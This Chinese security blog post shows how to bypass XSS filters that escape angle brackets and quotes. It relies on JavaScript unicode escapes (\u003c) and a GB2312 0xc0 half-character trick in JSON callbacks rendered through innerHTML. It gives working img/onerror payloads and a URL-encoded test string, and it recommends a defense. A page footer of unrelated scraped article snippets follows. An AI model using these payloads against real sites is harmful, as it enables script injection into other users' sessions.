XSS绕过<>进行测试
大家都知道,普遍的防御XSS攻击的方法是在后台对以下字符进行转义:<、>、’、”,但是经过本人的研究发现,在一些特殊场景下,即使对以上字符进行了转义,还是可以执行XSS攻击的。
首先看一个JS的例子:
Default
|
1
2
3
4
|
<script>
var s = "u003cu003e";
alert(s);
</script>
|
运行这段代码,结果显示如下:
看到这么熟悉的尖括号,大家会不会有一些兴奋的感觉呢?JS代码中并没有出现尖括号,可是运行时却输出了尖括号!!!这意味着:可以通过u003c和u003e来代替<和>。可是该如何利用这个特性来构造XSS攻击呢?继续看一个例子:
Default
|
1
2
3
4
5
6
7
|
<div id='s'>
test
</div>
<script>
var s = "u003cimg src=1 onerror=alert(/xss/)u003e";
document.getElementById('s').innerHTML = s;
</script>
|
运行上面代码,结果显示如下:

在没有尖括号的情况下,成功实现了一个弹框的案例。
现在来设想一个更贴近实际开发情况的例子:
(1)这里我们用网络安全攻防研究室网站首页进行演示:http://www.91ri.org/ main.html,其代码为:
Default
|
1
2
3
4
5
6
7
8
9
10
|
<div id="test">
aa
</div>
<script>
function callback(obj)
{
document.getElementById("test").innerHTML = obj.name;
}
</script>
<script src=" http://www.victim.com/getcontent"></script>
|
(2)http://www.victim.com/getcontent返回的内容格式如下:
Default
|
1
|
callback({"name":"xx"});
|
其中name的值是用户的昵称。
这个例子简单模拟了异步拉取信息并进行显示的情况。
现在假设用户的昵称为:
Default
|
1
|
u003cimg src=1 onerror=alert(/xss/)u003e
|
那么会是什么情况呢?
首先getcontent返回的昵称应该是这样的:
Default
|
1
|
\u003cimg src=1 onerror=alert(/xss/)\u003e
|
因为后台输出JSON格式数据时,一般都会在前面添加转义符进行转义。
接着main.html的callback函数应该是等价于执行下面的语句:
Default
|
1
|
document.getElementById("test").innerHTML =" \u003cimg src=1 onerror=alert(/xss/)\u003e";
|
显示的结果如下:
很遗憾,没有弹出框。原因是原来的转义序列u003c并没有生效,被添加的转义符转义掉了。
不过这里假设返回昵称时对进行了转义,但实际情况下,有时输出json格式数据时是没有对进行转义的,那样就会触发漏洞。
对于有对进行转义的,这时就轮到我们强大的半字符出场了。对于半字符的问题,这里并不打算详细讲,说下结论:
对于gb2312编码,” [0xc0] “是一个合法的编码,显示为:”繺”。
对于UTF-8编码,在IE6下,上述组合也是一个合法的编码。
其中[0xc0]表示一个十六进制的值。
现在修改昵称为:
Default
|
1
|
[0xc0]u003cimg src=1 onerror=alert(/xss/) [0xc0]u003e
|
getcontent输出:
Default
|
1
|
callback({"name":"[0xc0]\u003cimg src=1 onerror=alert(/xss/) [0xc0]\u003e"});
|
由于半字符[0xc0]的存在,在解释上述JS代码时,等价于:
Default
|
1
|
callback({"name":"繺u003cimg src=1 onerror=alert(/xss/) 繺u003e"});
|
可见,转义序列u003c终于又回来了,显示结果如下:
上述昵称中并没有出现单双引号,尖括号,所以如果后台只是对单双引号和尖括号进行转义,那么是可以被绕过防御的。
总结:
(1) 利用场景:输出内容在JS代码里,并且被动态显示出来(如使用innerHTML)。
(2) 测试方法:截获请求包,修改参数为:
Default
|
1
|
%c0u003cimg+src%3d1+onerror%3dalert(/xss/)+%c0u003e
|
(3) 防御方法:后台对半字符,反斜杠,单双引号,尖括号进行处理。
编辑点评:关于xss绕过的方式有很多,不少程序员以及小黑都认为过滤了<、>、’、”,就真的安全的,实际来说,只要针对这些字符进行一定的转义,就能成功绕过!
XSS绕过<>进行测试的更多相关文章
- XSS 绕过技术
XSS Cross-Site Scripting(XSS)是一类出现在 web 应用程序上的安全弱点,攻击者可以通过 XSS 插入一 些代码,使得访问页面的其他用户都可以看到,XSS 通常是可以被看作 ...
- 【奇淫巧技】XSS绕过技巧
XSS记录 1.首先是弹窗函数: alert(1) prompt(1) confirm(1)eval() 2.然后是字符的编码和浏览器的解析机制: 要讲编码绕过,首先我们要理解浏览器的解析过程,浏览器 ...
- xss绕过过滤之方法
很多网站为了避免XSS的攻击,对用户的输入都采取了过滤,最常见的就是对<>转换成<以及>,经过转换以后<>虽然可在正确显示在页面上,但是已经不能构成代码语句了.这个 ...
- XSS绕过小结
0x00前言 我们友情进行XSS检查,偶然跳出个小弹窗,其中我们总结了一些平时可能用到的XSS插入方式,方便我们以后进行快速检查,也提供了一定的思路,其中XSS有反射.存储.DOM这三类,至于具体每个 ...
- xss绕过姿势
#未完待续... 00x1.绕过 magic_quotes_gpc magic_quotes_gpc=ON 是php中的安全设置,开启后会把一些特殊字符进行轮换, 比如: ' 会被转换为 \' 再比如 ...
- xss之上传文件的xss,绕过csp,预警机制
xss1.XSS姿势——文件上传XSS https://wooyun.x10sec.org/static/drops/tips-14915.html总结: 1.1.文件名方式,原理:有些文件名可能反应 ...
- XSS绕过WAF的姿势
初始测试 1.使用无害的payload,类似<b>,<i>,<u> 观察响应,判断应用程序是否被HTML编码,是否标签被过滤,是否过滤<>等等: 2.如 ...
- xss之渗透测试
跨站脚本攻击:cross site script execution(通常简写为xss,因css与层叠样式表同名,故改为xss),是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用 ...
- 反射型xss绕过IE xss filter
反射xss利用方法,绕过IE XSS Filter 假设 1.php页面代码如下: echo $_GET['str']; 使用IE浏览器访问该页面 1.php?str=<xss code> ...
随机推荐
- .net c#将数据库数据对象转换为实体值对象
using System; using System.Data; namespace Sunlib { public static class DataHelper { //将数据库数据对象转换为实体 ...
- 获取OlapConnection连接
目录: 1.获取org.olap4j.OlapConnection对象 2.获取mondrian.olap.Connection对象 一.org.olap4j.OlapConnection对象 说明: ...
- arts打卡第二周
Algorithm 旋转数组 Given an array, rotate the array to the right by k steps, where k is non-negative. Ex ...
- 《JAVA程序设计》_第七周学习总结
一.学习内容 1.String类--8,1知识 Java专门提供了用来处理字符序列的String类.String类在java.lang包中,由于java.lang包中的类被默认引入,因此程序可以直接使 ...
- iic接口介绍
最近遇到一个BUG,跟IIC通信有关,所以借这个机会总结一下IIC总线协议 1.引脚接口介绍 1.A0,A1,A2为24LC64的片选信号,IIC总线最多可以挂载8个IIC接口器件,通过对A0,A1, ...
- 开发日记:JsonCSharpHelp
using Newtonsoft.Json; using Newtonsoft.Json.Linq; using Newtonsoft.Json.Converters; public static c ...
- Centos 7(linux)系统下如何给jar应用程序创建桌面快捷方式
1.创建系统自带的应用程序快捷方式 对于系统自带的应用程序,其桌面快捷方式存储的位置为以下三个目录中的其中一个: /usr/share/applications ~/.local/share/appl ...
- 【问题解决方案】AttributeError: module 'pygal' has no attribute 'Worldmap'
<Python编程:从入门到实践>- 16章-16.2.5制作世界地图 import pygal 后报如标题的error 参考CSDN 解决:AttributeError: module ...
- (七)jdk8学习心得之join方法
七.join方法 1. 作用:将list或者数组按照连接符进行连接,返回一个字符串. 2. 使用方法 1) String.join(“连接符”,数组对象或者list对象) 2) 首先转换成stream ...
- Linux centos yum仓库 自制
内网下Yum仓库搭建配置 1.实验环境 虚拟机环境: VMware 12 版本虚拟机 网络环境: 内网 IP 段:172.16.1.0 外网 iP 段(模拟):10.0.0.0 实验基础:(能够上网, ...